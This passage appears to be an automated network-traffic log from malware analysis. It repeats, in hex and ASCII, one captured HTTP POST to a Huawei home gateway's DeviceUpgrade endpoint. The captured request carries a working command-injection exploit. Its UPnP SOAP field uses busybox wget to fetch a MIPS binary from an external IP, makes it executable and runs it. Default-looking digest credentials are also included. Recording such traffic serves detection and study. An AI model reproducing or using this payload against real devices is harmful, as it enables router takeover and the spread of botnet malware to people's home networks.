65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 